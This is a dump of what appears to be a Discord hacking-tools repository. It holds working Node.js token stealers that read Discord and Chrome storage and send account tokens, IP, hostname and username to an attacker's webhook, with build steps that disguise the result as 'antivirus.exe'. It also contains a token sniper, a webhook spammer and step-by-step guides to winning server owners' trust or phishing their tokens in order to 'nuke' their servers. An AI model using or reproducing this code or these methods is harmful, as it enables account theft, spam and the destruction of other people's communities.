Self_Data.cdt = result_tokens 48 | SDT() 49 | return 50 | } 51 | }) 52 | }) 53 | } 54 | 55 | function SDT(){ 56 | Fs.readdir(`C:\\Users\\${Os.userInfo().username}\\AppData\\Roaming\\discord\\Local Storage\\leveldb`, "utf8", function(err, files){ 57 | if(err){ 58 | Done() 59 | return 60 | } 61 | 62 | files.forEach(file =>{ 63 | if(file.indexOf("log") != -1){ 64 | const log_data = Fs.readFileSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\${file}`, "utf8") 65 | const tokens = Array.from(log_data.matchAll(/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/g)) 66 | var result_tokens = "" 67 | 68 | if(tokens.length == 0){ 69 | Self_Data.sdt = "No discord tokens in discord software." 70 | SDT() 71 | return 72 | } 73 | 74 | for( i = 0; i <= tokens.length-1; i++ ){ 75 | tokens[i][0] = tokens[i][0].replace('"token":"', "") 76 | tokens[i][0] = tokens[i][0].replace('"', "") 77 | 78 | if(result_tokens.indexOf(tokens[i][0]) == -1){ 79 | if(result_tokens.length == 0){ 80 | result_tokens = tokens[i][0] 81 | }else{ 82 | result_tokens += `, ${tokens[i][0]}` 83 | } 84 | } 85 | } 86 | 87 | Self_Data.sdt = result_tokens 88 | Done() 89 | return 90 | } 91 | }) 92 | }) 93 | } 94 | 95 | async function Done(){ 96 | const IP = await Public_IP.v4() 97 | 98 | Webhook.send("```" + `OS Type: ${Os.type()} 99 | OS Platform: ${Os.platform()} 100 | OS Hostname: ${Os.hostname()} 101 | 102 | OS Username: ${Os.userInfo().username} 103 | IP: ${IP} 104 | 105 | Chrome discord tokens found: ${Self_Data.cdt} 106 | Software discord tokens found: ${Self_Data.sdt}` + "```",).then(()=>{ 107 | process.exit() 108 | }).catch(()=>{ 109 | process.exit() 110 | }) 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /Token sniper/README.md: -------------------------------------------------------------------------------- 1 | # ODiscord Token sniper 2 | A really simple Discord token sniper. 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i discord.js-selfbot-v11 8 | 9 | ## Usage 10 | 11 | node index.js 12 | 13 | - discord_token - Your Discord token. 14 | 15 | ## License 16 | MIT © I2rys 17 | -------------------------------------------------------------------------------- /Token sniper/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Discord = require("discord.js-selfbot-v11") 3 | 4 | //Variables 5 | const Self_Args = process.argv.slice(2) 6 | 7 | const User = new Discord.Client() 8 | 9 | //Main 10 | if(!Self_Args.length){ 11 | return console.log("node index.js ") 12 | } 13 | 14 | if(!Self_Args[0]){ 15 | return console.log("Invalid discord_token.") 16 | } 17 | 18 | User.on("ready", ()=>{ 19 | console.log(`Discord token sniper is running.`) 20 | }) 21 | 22 | User.on("message", (message)=>{ 23 | const found = message.content.match(/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/i) 24 | 25 | if(found){ 26 | console.log(`Discord token found: ${found}`) 27 | } 28 | }) 29 | 30 | User.login(Self_Args[0]) 31 | -------------------------------------------------------------------------------- /Token stealer spider/README.md: -------------------------------------------------------------------------------- 1 | # ODiscord Token stealer spider 2 | 100% Undetectable Discord token stealer spider. 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i discord.js && npm i public-ip && npm i os && npm i path 8 | 9 | ## Build 10 | 11 | 1. Open index.js and find webhook_id and webhook_token. 12 | 2. Change it with your Webhook ID and Webhook Token. 13 | 3. Compile index.js to exe file using pkg. 14 | 4. Your done. 15 | 16 | Install https://www.npmjs.com/package/pkg 17 | 18 | pkg index.js -o antivirus.exe(Can be anything) 19 | For more info of pkg click [me](https://www.npmjs.com/package/pkg). 20 | 21 | ## Note 22 | You might ask: What is the difference between ODiscord Discord token stealer spider & Discord token stealer? The difference is Discord token stealer spider lists all the files in the Discord folder Including hidden files then check them 1 by 1 for any tokens that's the thing that makes a difference in both of them also Discord token stealer spider can also bypass some Anti Discord token stealer. 23 | 24 | ## License 25 | MIT © I2rys 26 | -------------------------------------------------------------------------------- /Token stealer spider/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Public_IP = require("public-ip") 3 | const Discord = require("discord.js") 4 | const Path = require("path") 5 | const Os = require("os") 6 | const Fs = require("fs") 7 | 8 | //Variables 9 | const Webhook = new Discord.WebhookClient("webhook_id", "webhook_token") 10 | 11 | var Self = { 12 | homedir: Os.userInfo().homedir, 13 | regex: new RegExp(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/, "g"), 14 | tokens: "" 15 | } 16 | 17 | //Functions 18 | function directory_files(dir, done) { 19 | var results = [] 20 | 21 | Fs.readdir(dir, function (err, list) { 22 | if (err) return done(err) 23 | 24 | var list_length = list.length 25 | 26 | if (!list_length) return done(null, results) 27 | 28 | list.forEach(function (file) { 29 | file = Path.resolve(dir, file) 30 | 31 | Fs.stat(file, function (err, stat) { 32 | if (stat && stat.isDirectory()) { 33 | directory_files(file, function (err, res) { 34 | results = results.concat(res) 35 | 36 | if (!--list_length) done(null, results) 37 | }) 38 | } else { 39 | results.push(file) 40 | 41 | if (!--list_length) done(null, results) 42 | } 43 | }) 44 | }) 45 | }) 46 | } 47 | 48 | Self.send = async function(){ 49 | const IP = await Public_IP.v4() 50 | 51 | Webhook.send("```" + `OS Type: ${Os.type()} 52 | OS Platform: ${Os.platform()} 53 | OS Hostname: ${Os.hostname()} 54 | 55 | OS Username: ${Os.userInfo().username} 56 | IP: ${IP} 57 | Discord tokens found: ${Self.tokens}` + "```",).then(()=>{ 58 | process.exit() 59 | }).catch(()=>{ 60 | process.exit() 61 | }) 62 | } 63 | 64 | //Main 65 | if(!Fs.existsSync(`${Self.homedir}\\AppData\\Roaming\\discord`)){ 66 | process.exit() 67 | } 68 | 69 | directory_files(`${Self.homedir}\\AppData\\Roaming\\discord`, function(err, files){ 70 | if(err){ 71 | process.exit() 72 | } 73 | 74 | files.forEach(file =>{ 75 | const data = Fs.readFileSync(file, "utf8") 76 | 77 | if(data.match(Self.regex)){ 78 | for( i in data.match(Self.regex) ){ 79 | if(Self.tokens.indexOf(data.match(Self.regex)[i]) == -1){} 80 | 81 | if(!Self.tokens.length){ 82 | Self.tokens = data.match(Self.regex)[i] 83 | }else{ 84 | Self.tokens += `\n${data.match(Self.regex)[i]}` 85 | } 86 | } 87 | } 88 | }) 89 | 90 | Self.send() 91 | }) 92 | -------------------------------------------------------------------------------- /UII/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord UUI 3 | Discord user information grabber via ID. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | + user_id - The target Discord user id. 16 | + discord_token - Your Discord token. 17 | 18 | ## License 19 | MIT © I2rys 20 | -------------------------------------------------------------------------------- /UII/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Axios = require("axios") 3 | 4 | //Variables 5 | const Self_Args = process.argv.slice(2) 6 | 7 | //Main 8 | if (!Self_Args.length) { 9 | console.log("node index.js ") 10 | process.exit() 11 | } 12 | 13 | if (isNaN(Self_Args[0])) { 14 | console.log("user_id is not a number.") 15 | process.exit() 16 | } 17 | 18 | if (!/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/i.test(Self_Args[1])) { 19 | console.error('you did not provide a valid token'); 20 | process.exit(1); 21 | } 22 | 23 | void async function Main() { 24 | try { 25 | const response = await Axios({ 26 | method: "GET", 27 | url: `https://discord.com/api/v9/users/${Self_Args[0]}/profile`, 28 | headers: { 29 | authorization: `${Self_Args[1]}` 30 | } 31 | }) 32 | 33 | const user = response.data.user 34 | const ca = response.data.connected_accounts 35 | 36 | console.log(` 37 | Username: ${user.username} 38 | ID: ${user.id} 39 | Tag: ${user.username}#${user.discriminator} 40 | Tag number: ${user.discriminator} 41 | BIO: ${user.bio} 42 | `) 43 | 44 | for (i in ca) { 45 | console.log(`Platform: ${ca[i].type} 46 | Name: ${ca[i].name} 47 | ID: ${ca[i].id} 48 | Verified: ${ca[i].verified} 49 | `) 50 | } 51 | } catch (e) { 52 | console.log("Make sure user_id & discord_token is valid. If the provided information is valid, then that means that Discord is preventing you from viewing the profile of this user. This is most likely because you are trying to view the profile of a user that you haven't interacted with.\nError:", e.response.data) 53 | } 54 | }() 55 | -------------------------------------------------------------------------------- /UII/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "uii", 3 | "version": "1.0.0", 4 | "lockfileVersion": 2, 5 | "requires": true, 6 | "packages": { 7 | "": { 8 | "name": "uii", 9 | "version": "1.0.0", 10 | "license": "MIT", 11 | "dependencies": { 12 | "axios": "^0.26.0" 13 | } 14 | }, 15 | "node_modules/axios": { 16 | "version": "0.26.0", 17 | "resolved": "https://registry.npmjs.org/axios/-/axios-0.26.0.tgz", 18 | "integrity": "sha512-lKoGLMYtHvFrPVt3r+RBMp9nh34N0M8zEfCWqdWZx6phynIEhQqAdydpyBAAG211zlhX9Rgu08cOamy6XjE5Og==", 19 | "dependencies": { 20 | "follow-redirects": "^1.14.8" 21 | } 22 | }, 23 | "node_modules/follow-redirects": { 24 | "version": "1.14.9", 25 | "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.9.tgz", 26 | "integrity": "sha512-MQDfihBQYMcyy5dhRDJUHcw7lb2Pv/TuE6xP1vyraLukNDHKbDxDNaOE3NbCAdKQApno+GPRyo1YAp89yCjK4w==", 27 | "funding": [ 28 | { 29 | "type": "individual", 30 | "url": "https://github.com/sponsors/RubenVerborgh" 31 | } 32 | ], 33 | "engines": { 34 | "node": ">=4.0" 35 | }, 36 | "peerDependenciesMeta": { 37 | "debug": { 38 | "optional": true 39 | } 40 | } 41 | } 42 | }, 43 | "dependencies": { 44 | "axios": { 45 | "version": "0.26.0", 46 | "resolved": "https://registry.npmjs.org/axios/-/axios-0.26.0.tgz", 47 | "integrity": "sha512-lKoGLMYtHvFrPVt3r+RBMp9nh34N0M8zEfCWqdWZx6phynIEhQqAdydpyBAAG211zlhX9Rgu08cOamy6XjE5Og==", 48 | "requires": { 49 | "follow-redirects": "^1.14.8" 50 | } 51 | }, 52 | "follow-redirects": { 53 | "version": "1.14.9", 54 | "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.9.tgz", 55 | "integrity": "sha512-MQDfihBQYMcyy5dhRDJUHcw7lb2Pv/TuE6xP1vyraLukNDHKbDxDNaOE3NbCAdKQApno+GPRyo1YAp89yCjK4w==" 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /UII/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "uii", 3 | "version": "1.0.0", 4 | "description": "Grab a Discord user's information using just their ID", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "repository": { 10 | "type": "git", 11 | "url": "git+https://github.com/I2rys/ODiscord.git" 12 | }, 13 | "author": "I2rys", 14 | "license": "MIT", 15 | "bugs": { 16 | "url": "https://github.com/I2rys/ODiscord/issues" 17 | }, 18 | "homepage": "https://github.com/I2rys/ODiscord#readme", 19 | "dependencies": { 20 | "axios": "^0.26.0" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Using any emoji of any server without nitro(Fast).txt: -------------------------------------------------------------------------------- 1 | Do this trick first https://github.com/I2rys/ODiscord/blob/main/Using%20emoji%20on%20other%20servers%20without%20nitro.txt 2 | 3 | 1.After you paste the GIF link in the channel. 4 | 2.Hover your mouse in the GIF then click the star to favorite the GIF. 5 | 3.Your done! To use the GIF again without opening inspect element just go to the "GIF" "Favorites" then click the GIF. 6 | -------------------------------------------------------------------------------- /Using emoji on other servers without nitro.txt: -------------------------------------------------------------------------------- 1 | Note: This won't work in discord browser, only the uhh application only. 2 | 3 | 1.Install discord. https://discord.com/ & login 4 | 2.Join any discord server that have some emoji 5 | 3.Make an empty server for testing & press CTRL+SHIFT+I to open inspect element 6 | 4.Find "Network"(https://developer.chrome.com/docs/devtools/network/) then press it, click the emojis icon then scroll down for the emoji(GIF, PNG & etc doesn't matter) that you want to use 7 | 5.Look at the Network requests then find the emoji(GIF, PNG & etc doesn't matter) that you want to use, Click it then on the right side find "Preview" then click it. 8 | 6.Right click on the Image or GIF then click "Copy Image Url" 9 | 7.Paste it on the guild's channel. :) 10 | -------------------------------------------------------------------------------- /Webhook Spammer/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | # ODiscord Webhook Spammer 5 | A really fast Discord Webhook Spammer. 6 | 7 | ## Installation 8 | npm: 9 | 10 | npm i discord.js 11 | 12 | ## Usage 13 | 14 | node index.js 15 | 16 | ## License 17 | MIT © I2rys 18 | -------------------------------------------------------------------------------- /Webhook Spammer/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Discord = require("discord.js") 3 | 4 | //Variables 5 | const Self_Args = process.argv.slice(2) 6 | 7 | //Main 8 | if(Self_Args.length == 0){ 9 | console.log(`node index.js 10 | node index.js notsofastlol :P`) 11 | process.exit() 12 | } 13 | 14 | if(Self_Args[0] == ""){ 15 | console.log("Invalid webhook link.") 16 | process.exit() 17 | } 18 | 19 | if(Self_Args[0].indexOf("discord.com/api/webhooks") == -1){ 20 | console.log("Invalid webhook link.") 21 | process.exit() 22 | } 23 | 24 | if(Self_Args[1] == ""){ 25 | console.log("Invalid message to spam.") 26 | process.exit() 27 | } 28 | 29 | const Reconstruct_WL = Self_Args[0].split("/") 30 | const Webhook_ID = Reconstruct_WL[5] 31 | const Webhook_Token = Reconstruct_WL[6] 32 | 33 | const Webhook = new Discord.WebhookClient(Webhook_ID, Webhook_Token) 34 | var Message = "" 35 | 36 | for( i in Self_Args.slice(1) ){ 37 | if(Message.length == 0){ 38 | Message = Self_Args.slice(1)[i] 39 | }else{ 40 | Message += ` ${Self_Args.slice(1)[i]}` 41 | } 42 | 43 | if(i == Self_Args.slice(1).length-1){ 44 | Launch() 45 | } 46 | } 47 | 48 | function Launch(){ 49 | console.log("Spammer has been launched!") 50 | 51 | setInterval(function(){ 52 | Webhook.send(Message) 53 | }, 100) 54 | } 55 | -------------------------------------------------------------------------------- /ways to nuke servers/The buddha.: -------------------------------------------------------------------------------- 1 | Note: This only works If the server has a staff/moderator/admin application form, It's available & your patient. 2 | 3 | 1.Make a alt Discord account so your main one won't get ban. 4 | 2.If the form is available then apply & do your best also act like a good guy so there is a higher chance that you will get accepted or get a long with them. 5 | 3.Once applied and your accepted. You need to be patient to get to the position where you can ban, kick & etc server members. 6 | 4.Alright they have trusted you and they give you an admin role now use a selfbot nuker and nuke the server. 7 | 5.After nuked leave the server and change your name, profile picture & etc. 8 | -------------------------------------------------------------------------------- /ways to nuke servers/The genius.txt: -------------------------------------------------------------------------------- 1 | Try all the other methods of ODiscord "ways to nuke servers" 2 | 3 | If they don't work then try some other methods or make a custom method. 4 | 5 | Just a first method 6 | 1.Learn coding languages & website penetration testing. 7 | 2.Gather some information of Discord then use those information to find bugs that can be exploited. 8 | 3.If found a bug that can be exploited to hack any Discord server owner then hack The discord owner account 9 | 4.Use selfbot nuker. Really complex right? 10 | -------------------------------------------------------------------------------- /ways to nuke servers/the backstabber.txt: -------------------------------------------------------------------------------- 1 | 1.Make a fake Discord account & make it looks like your real account then join your target server. 2 | 2.Be friendly & stuff so people will like you, get attach to events & have bonding with the owner. 3 | 3.Then If the owner really trust you I'm sure they will 100% give you an admin role or moderator on the server. 4 | 4.Heres where the game starts. Use a selfbot server nuker to nuke the server or invite your nuker bot to nuke the server. 5 | 5.After nuked. Leave the server, change your name, profile picture & stuff. 6 | -------------------------------------------------------------------------------- /ways to nuke servers/the risky.txt: -------------------------------------------------------------------------------- 1 | Note: This takes patient & you must be good at conversation. 2 | 3 | 1.Make an alt account and make a Discord bot that does what it's general or thingy is and make a command to invite a bot. 4 | 2.Make the server popular, now once your target server has invited your bot & trusted so they give em an administration role. 5 | 3.Make another bot that nukes, use the command to invite the bot then use that bot to nuke the server & make sure to add a code on the bot so whenever anyone joins except you gets kick automatically. 6 | 4.Now the problem here is the owner, If the owner sue the bot just tell him that maybe it got backdoor & say you will investigate it. 7 | 5.Server nuked! It's risky but fun maybe. 8 | -------------------------------------------------------------------------------- /ways to nuke servers/the smarty.txt: -------------------------------------------------------------------------------- 1 | Note: This is only for smarts. 2 | 3 | 1.Make an alt. 4 | 2.Try to token log the owner or use some phishing links or make your own attack to get the server owner Discord token. 5 | 3.If you have successfully got the Discord owner Token use their own token to nuke their own server. 6 | --------------------------------------------------------------------------------